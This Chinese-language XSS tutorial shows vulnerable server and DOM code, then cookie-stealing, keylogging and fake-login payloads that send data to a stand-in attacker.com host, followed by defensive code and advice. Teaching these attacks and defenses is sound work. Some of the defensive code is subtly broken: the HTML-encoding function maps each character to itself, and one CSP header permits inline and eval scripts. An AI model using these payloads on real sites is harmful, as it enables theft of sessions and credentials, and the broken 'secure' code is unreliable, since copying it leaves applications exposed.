目录
- 一、XSS攻击类型及示例
-
- [1.1 反射型XSS (Reflected XSS)](#1.1 反射型XSS (Reflected XSS))
- [1.2 存储型XSS (Stored XSS)](#1.2 存储型XSS (Stored XSS))
- [1.3 DOM型XSS](#1.3 DOM型XSS)
- [1.4 基于属性的XSS](#1.4 基于属性的XSS)
- 二、XSS攻击载荷示例
-
- [2.1 窃取Cookie](#2.1 窃取Cookie)
- [2.2 键盘记录器](#2.2 键盘记录器)
- [2.3 钓鱼攻击](#2.3 钓鱼攻击)
- 三、防御解决方案
-
- [3.1 输入验证和过滤](#3.1 输入验证和过滤)
- [3.2 输出编码](#3.2 输出编码)
- [3.3 使用安全API](#3.3 使用安全API)
- [3.4 设置Content Security Policy (CSP)](#3.4 设置Content Security Policy (CSP))
- [3.5 使用HttpOnly和Secure Cookie](#3.5 使用HttpOnly和Secure Cookie)
- 四、完整的安全示例
- 五、最佳实践建议
- 六、总结
一、XSS攻击类型及示例
1.1 反射型XSS (Reflected XSS)
javascript
<!-- 恶意攻击页面 -->
<!DOCTYPE html>
<html>
<head>
<title>恶意页面</title>
</head>
<body>
<h1>点击这个链接窃取用户Cookie</h1>
<a href="http://vulnerable-site.com/search?q=<script>alert('XSS')</script>">
点击查看搜索结果
</a>
</body>
</html>
javascript
// 后端漏洞代码示例(Node.js)
const express = require('express');
const app = express();
// 存在漏洞的搜索接口
app.get('/search', (req, res) => {
const query = req.query.q;
// 危险:直接输出用户输入到HTML
res.send(`<h1>搜索结果: ${query}</h1>`);
});
1.2 存储型XSS (Stored XSS)
javascript
<!-- 用户评论系统漏洞 -->
<!DOCTYPE html>
<html>
<body>
<div id="comments">
<!-- 恶意评论已被存储 -->
<div class="comment">
<script>
// 窃取用户cookie并发送到攻击者服务器
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
</div>
</div>
</body>
</html>
javascript
// 后端漏洞代码(存储评论)
app.post('/comment', (req, res) => {
const comment = req.body.comment;
// 危险:未过滤直接存入数据库
db.saveComment(comment);
res.send('评论成功');
});
// 读取评论时
app.get('/comments', (req, res) => {
const comments = db.getComments();
// 危险:直接输出到页面
res.render('comments', { comments });
});
1.3 DOM型XSS
javascript
<!DOCTYPE html>
<html>
<body>
<input type="text" id="userInput" placeholder="输入内容">
<button onclick="displayInput()">显示</button>
<div id="output"></div>
<script>
// 存在DOM XSS漏洞的代码
function displayInput() {
const userInput = document.getElementById('userInput').value;
// 危险:使用innerHTML直接插入
document.getElementById('output').innerHTML =
"您输入的是: " + userInput;
}
</script>
</body>
</html>
1.4 基于属性的XSS
javascript
// 漏洞示例
function setProfileImage() {
const username = getURLParameter('username');
// 危险:直接将用户输入设置为img属性
document.getElementById('avatar').innerHTML =
`<img src="avatar.png" onerror="alert('XSS from ${username}')">`;
}
二、XSS攻击载荷示例
2.1 窃取Cookie
javascript
<script>
fetch('http://attacker.com/steal?cookie=' +
encodeURIComponent(document.cookie));
</script>
2.2 键盘记录器
javascript
<script>
let keystrokes = '';
document.onkeypress = function(e) {
keystrokes += String.fromCharCode(e.keyCode);
// 每10秒发送一次记录
if (keystrokes.length % 100 === 0) {
fetch('http://attacker.com/log?keys=' +
encodeURIComponent(keystrokes));
}
};
</script>
2.3 钓鱼攻击
javascript
<script>
// 创建虚假登录表单
const fakeForm = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999">
<div style="background:white;padding:20px;margin:100px auto;width:300px">
<h2>请重新登录</h2>
<input type="text" id="username" placeholder="用户名"><br>
<input type="password" id="password" placeholder="密码"><br>
<button onclick="stealCredentials()">登录</button>
</div>
</div>
`;
document.body.innerHTML += fakeForm;
function stealCredentials() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
fetch('http://attacker.com/phish?u=' + username + '&p=' + password);
}
</script>
三、防御解决方案
3.1 输入验证和过滤
javascript
// 使用DOMPurify库
const DOMPurify = require('dompurify');
function sanitizeInput(input) {
return DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'title']
});
}
// 严格验证
function validateInput(input) {
// 只允许字母、数字和基本标点
const pattern = /^[a-zA-Z0-9\s.,!?'"-]+$/;
return pattern.test(input);
}
3.2 输出编码
javascript
// HTML实体编码
function encodeHTML(str) {
return str.replace(/[&<>"']/g, function(match) {
return {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}[match];
});
}
// 属性编码
function encodeAttribute(str) {
return str.replace(/["'&<>]/g, encodeHTML);
}
3.3 使用安全API
javascript
// 安全的DOM操作
function safeDOMUpdate() {
const userInput = document.getElementById('input').value;
const output = document.getElementById('output');
// 安全:使用textContent
output.textContent = userInput;
// 安全:使用setAttribute
output.setAttribute('data-user', encodeAttribute(userInput));
// 避免使用不安全的API
// output.innerHTML = userInput; // 危险!
// output.outerHTML = userInput; // 危险!
}
3.4 设置Content Security Policy (CSP)
javascript
<!-- HTTP头或meta标签 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:">
javascript
// Node.js中设置CSP头
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' 'unsafe-eval' 'unsafe-inline'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"connect-src 'self';"
);
next();
});
3.5 使用HttpOnly和Secure Cookie
javascript
// 设置安全的Cookie
app.use(session({
secret: 'your-secret',
cookie: {
httpOnly: true, // 防止JavaScript访问
secure: true, // 仅HTTPS传输
sameSite: 'strict' // 防止CSRF
}
}));
四、完整的安全示例
javascript
<!DOCTYPE html>
<html>
<head>
<title>安全的用户评论系统</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.3.8/purify.min.js"></script>
</head>
<body>
<h1>安全评论系统</h1>
<div id="commentSection">
<!-- 评论将通过安全的方式插入 -->
</div>
<textarea id="commentInput" placeholder="输入评论"></textarea>
<button onclick="submitComment()">提交评论</button>
<script>
// 安全处理用户输入
function submitComment() {
const rawInput = document.getElementById('commentInput').value;
// 1. 验证输入
if (!validateComment(rawInput)) {
alert('评论包含非法字符');
return;
}
// 2. 净化HTML
const cleanInput = DOMPurify.sanitize(rawInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: []
});
// 3. 安全插入DOM
const commentDiv = document.createElement('div');
commentDiv.className = 'comment';
commentDiv.textContent = cleanInput;
document.getElementById('commentSection').appendChild(commentDiv);
}
function validateComment(input) {
// 基本的验证逻辑
if (input.length > 1000) return false;
const dangerousPattern = /<script|javascript:|on\w+=/i;
return !dangerousPattern.test(input);
}
</script>
</body>
</html>
五、最佳实践建议
-
开发阶段
对所有用户输入进行验证和过滤
使用安全的框架和模板引擎(如React、Vue等)
实施白名单策略而非黑名单
定期进行安全代码审查
-
部署阶段
启用CSP(Content Security Policy)
设置HttpOnly和Secure Cookie
使用Subresource Integrity (SRI)
实施X-XSS-Protection头
-
监控和维护
定期进行安全扫描和渗透测试
记录和监控可疑活动
保持依赖库更新
实施WAF(Web应用防火墙)
六、总结
-
XSS攻击是Web应用最常见的安全威胁之一,其危害包括:
窃取用户凭证和会话信息
发起钓鱼攻击
键盘记录和屏幕捕获
网站篡改和恶意重定向
-
核心防御策略:
永不信任用户输入 - 所有输入都应视为潜在的恶意输入
实施深度防御 - 采用多层安全措施
正确的编码输出 - 根据上下文使用适当的编码方式
利用安全机制 - 使用CSP、HttpOnly Cookie等现代浏览器安全特性
持续教育和测试 - 保持团队安全意识,定期进行安全测试
通过实施这些措施,可以显著降低XSS攻击的风险,保护用户数据和网站安全。记住,安全是一个持续的过程,需要不断更新和改进。
